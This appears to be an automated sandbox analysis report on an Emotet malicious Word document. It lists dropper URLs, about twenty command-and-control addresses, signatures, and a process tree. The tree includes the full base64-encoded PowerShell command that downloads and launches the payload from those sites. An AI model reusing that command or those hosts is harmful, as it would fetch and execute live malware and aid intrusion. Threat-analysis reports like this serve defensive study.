Analysis

  • max time kernel
    61s
  • max time network
    151s
  • platform
    windows7_x64
  • resource
    win7v200722
  • submitted
    17/08/2020, 21:09

General

  • Target
    emotet_e3_a371adb4edd62c96f3ab2fd9c98a4977ab0731df912e3cee89fd7eff0cc98f5c_2020-08-17__210756._doc.doc
  • Size 235KB
  • Sample200817-12e1d3ft2n
  • SHA256 a371adb4edd62c96f3ab2fd9c98a4977ab0731df912e3cee89fd7eff0cc98f5c
  • MD5 SHA1 SHA512
Score
10/10

Malware Config

Extracted

Language
  • ps1

Source
URLs
  • exe.dropper

    http://b3shop.net/calendar/LgZgcv/

  • exe.dropper

    http://magazine-lib.com/wp-content/3nng7e9a6b416342/

  • exe.dropper

    http://nourishmentjuices.com/wp-content/mkyecobz2597/

  • exe.dropper

    http://marthecornelie.com/pcntb/wyqAVe3g95374/

  • exe.dropper

    https://haikouweixun.com/jn5/z08vog5472/

Extracted

Family
  • emotet

C2
  • 186.109.104.67:80

  • 185.86.148.68:443

  • 139.99.157.213:8080

  • 203.153.216.178:7080

  • 192.163.221.191:8080

  • 201.235.10.215:80

  • 37.46.129.215:8080

  • 78.189.60.109:443

  • 77.74.78.80:443

  • 143.95.101.72:8080

  • 188.251.213.180:443

  • 31.146.61.34:80

  • 190.53.144.120:80

  • 105.209.235.113:8080

  • 115.78.11.155:80

  • 172.96.190.154:8080

  • 50.116.78.109:8080

  • 188.0.135.237:80

  • 179.62.238.49:80

  • 197.83.232.19:80

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Emotet Payload 4 IoCs

    Detects Emotet payload in memory.

  • Blacklisted process makes network request 3 IoCs
  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 2 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 280 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 6 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e3_a371adb4edd62c96f3ab2fd9c98a4977ab0731df912e3cee89fd7eff0cc98f5c_2020-08-17__210756._doc.doc"
    1⤵
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:1452
  • C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
    powersheLL -e JABYAHEAeQB4AGYAcwB2AD0AKAAnAE4ANQAnACsAJwBjAGEAYwB2ADgAJwApADsAJgAoACcAbgBlAHcALQAnACsAJwBpAHQAZQAnACsAJwBtACcAKQAgACQARQBOAHYAOgBUAGUAbQBwAFwATwBmAEYAaQBjAGUAMgAwADEAOQAgAC0AaQB0AGUAbQB0AHkAcABlACAAZABJAFIAZQBDAFQAbwBSAFkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMAZQBjAHUAYABSAGAASQBUAGAAWQBQAHIAbwBUAE8AYABDAE8AbAAiACAAPQAgACgAJwB0ACcAKwAnAGwAJwArACcAcwAxADIALAAnACsAJwAgAHQAbABzACcAKwAnADEAMQAnACsAJwAsACAAdABsAHMAJwApADsAJABaADQAOABkADcAYwB4ACAAPQAgACgAJwBPAGoAJwArACcAcgAnACsAJwB2ADAAeAA5AHkAJwApADsAJABOAHoAawAyAGYAdABfAD0AKAAnAEYAYwAnACsAJwB4ADUAZQB3ACcAKwAnAG4AJwApADsAJABXADUAZwBxAHgAYgA2AD0AJABlAG4AdgA6AHQAZQBtAHAAKwAoACgAJwBqACcAKwAnAEwAYwAnACsAJwBPAGYAZgBpAGMAZQAyADAAMQA5ACcAKwAnAGoATAAnACsAJwBjACcAKQAuACIAcgBlAHAAbABgAEEAQwBFACIAKAAoAFsAQwBoAEEAcgBdADEAMAA2ACsAWwBDAGgAQQByAF0ANwA2ACsAWwBDAGgAQQByAF0AOQA5ACkALAAnAFwAJwApACkAKwAkAFoANAA4AGQANwBjAHgAKwAoACcALgBlACcAKwAnAHgAZQAnACkAOwAkAEcAOAA0ADAANgBwAHAAPQAoACcARQB0AHcAJwArACcAdgBiAGUAJwArACcAawAnACkAOwAkAEYAbABfAG0AcABlAGMAPQAmACgAJwBuAGUAdwAtACcAKwAnAG8AYgBqAGUAJwArACcAYwB0ACcAKQAgAE4AZQB0AC4AdwBFAGIAQwBsAEkARQBOAHQAOwAkAFMANgBfAHkAZAB5AGkAPQAoACcAaAB0AHQAcAA6AC8AJwArACcALwBiADMAcwBoAG8AcAAnACsAJwAuAG4AZQB0ACcAKwAnAC8AJwArACcAYwBhAGwAJwArACcAZQBuACcAKwAnAGQAYQAnACsAJwByAC8ATABnAFoAZwBjAHYALwAqAGgAdAB0AHAAOgAvAC8AbQBhAGcAYQB6AGkAbgBlAC0AJwArACcAbABpAGIALgBjAG8AJwArACcAbQAvAHcAJwArACcAcAAtAGMAbwBuAHQAZQAnACsAJwBuAHQAJwArACcALwAnACsAJwAzAG4AbgBnADcAZQA5AGEANgBiACcAKwAnADQAMQA2ADMANAAyAC8AKgBoAHQAdABwADoALwAvACcAKwAnAG4AbwB1AHIAJwArACcAaQBzAGgAJwArACcAbQBlAG4AdABqAHUAJwArACcAaQBjAGUAJwArACcAcwAuAGMAbwAnACsAJwBtAC8AJwArACcAdwBwAC0AJwArACcAYwBvAG4AJwArACcAdAAnACsAJwBlACcAKwAnAG4AdAAnACsAJwAvAG0AawAnACsAJwB5AGUAYwBvAGIAegAyADUAJwArACcAOQA3ACcAKwAnAC8AJwArACcAKgBoAHQAdAAnACsAJwBwADoALwAvAG0AYQByACcAKwAnAHQAaAAnACsAJwBlAGMAbwByAG4AZQBsAGkAZQAuAGMAJwArACcAbwBtAC8AcABjAG4AdABiAC8AdwB5AHEAQQBWAGUAMwBnADkANQAzADcAJwArACcANAAvACoAJwArACcAaAB0AHQAJwArACcAcABzADoALwAvAGgAYQBpACcAKwAnAGsAbwAnACsAJwB1ACcAKwAnAHcAZQBpAHgAdQBuAC4AYwAnACsAJwBvAG0ALwBqAG4ANQAnACsAJwAvAHoAJwArACcAMAAnACsAJwA4AHYAbwBnADUANAA3ADIALwAnACkALgAiAHMAcABMAGAASQBUACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQAWgB5AHgANQBrAGcAbwA9ACgAJwBDAGcANwAnACsAJwBzACcAKwAnAGoANwBxACcAKQA7AGYAbwByAGUAYQBjAGgAKAAkAEIAcgBrAF8AZAByADIAIABpAG4AIAAkAFMANgBfAHkAZAB5AGkAKQB7AHQAcgB5AHsAJABGAGwAXwBtAHAAZQBjAC4AIgBEAGAATwB3AGAATgBMAG8AYQBkAGYAaQBgAGwAZQAiACgAJABCAHIAawBfAGQAcgAyACwAIAAkAFcANQBnAHEAeABiADYAKQA7ACQARABtADEAMQBlADEAZgA9ACgAJwBHAG8AJwArACcAdgAnACsAJwB3ADgAcAA0ACcAKQA7AEkAZgAgACgAKAAuACgAJwBHAGUAdAAtAEkAdAAnACsAJwBlACcAKwAnAG0AJwApACAAJABXADUAZwBxAHgAYgA2ACkALgAiAEwARQBuAGcAYABUAEgAIgAgAC0AZwBlACAAMgAxADYANwAyACkAIAB7ACYAKAAnAEkAbgAnACsAJwB2AG8AawAnACsAJwBlAC0ASQB0AGUAJwArACcAbQAnACkAKAAkAFcANQBnAHEAeABiADYAKQA7ACQAQwA2AHIAMAB0ADAAZAA9ACgAJwBOADcAegB1ADkAJwArACcAeAAnACsAJwBrACcAKQA7AGIAcgBlAGEAawA7ACQAWgBxAHoAcAB2AHAAagA9ACgAJwBPAHUAOAB2ACcAKwAnADMAbwB5ACcAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAVQAxAGYAYgBfAHoAdgA9ACgAJwBRACcAKwAnAGgAdwA2AHIAdABtACcAKQA=
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1528
    • C:\Users\Admin\AppData\Local\Temp\Office2019\Ojrv0x9y.exe
      "C:\Users\Admin\AppData\Local\Temp\Office2019\Ojrv0x9y.exe"
      2⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:1848
      • C:\Windows\SysWOW64\msacm32\winbio.exe
        "C:\Windows\SysWOW64\msacm32\winbio.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of SetWindowsHookEx
        PID:1632

Network

        MITRE ATT&CK Matrix

        Replay Monitor

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        Downloads

        memory/1452-2-0x0000000009640000-0x0000000009644000-memory.dmp

        memory/1452-5-0x000000000B660000-0x000000000B664000-memory.dmp

        memory/1452-6-0x000000000C6E0000-0x000000000C6E4000-memory.dmp

        memory/1528-13-0x000000001B580000-0x000000001B581000-memory.dmp

        memory/1528-12-0x00000000024F0000-0x00000000024F1000-memory.dmp

        memory/1528-11-0x0000000002430000-0x0000000002431000-memory.dmp

        memory/1528-14-0x000000001C300000-0x000000001C301000-memory.dmp

        memory/1528-10-0x000000001AB10000-0x000000001AB11000-memory.dmp

        memory/1528-9-0x00000000022E0000-0x00000000022E1000-memory.dmp

        memory/1528-8-0x000007FEEA0E0000-0x000007FEEAACC000-memory.dmp

        memory/1632-21-0x00000000003E0000-0x00000000003EC000-memory.dmp

        memory/1848-17-0x0000000000260000-0x000000000026C000-memory.dmp

        memory/1960-22-0x000007FEEA850000-0x000007FEEAACA000-memory.dmp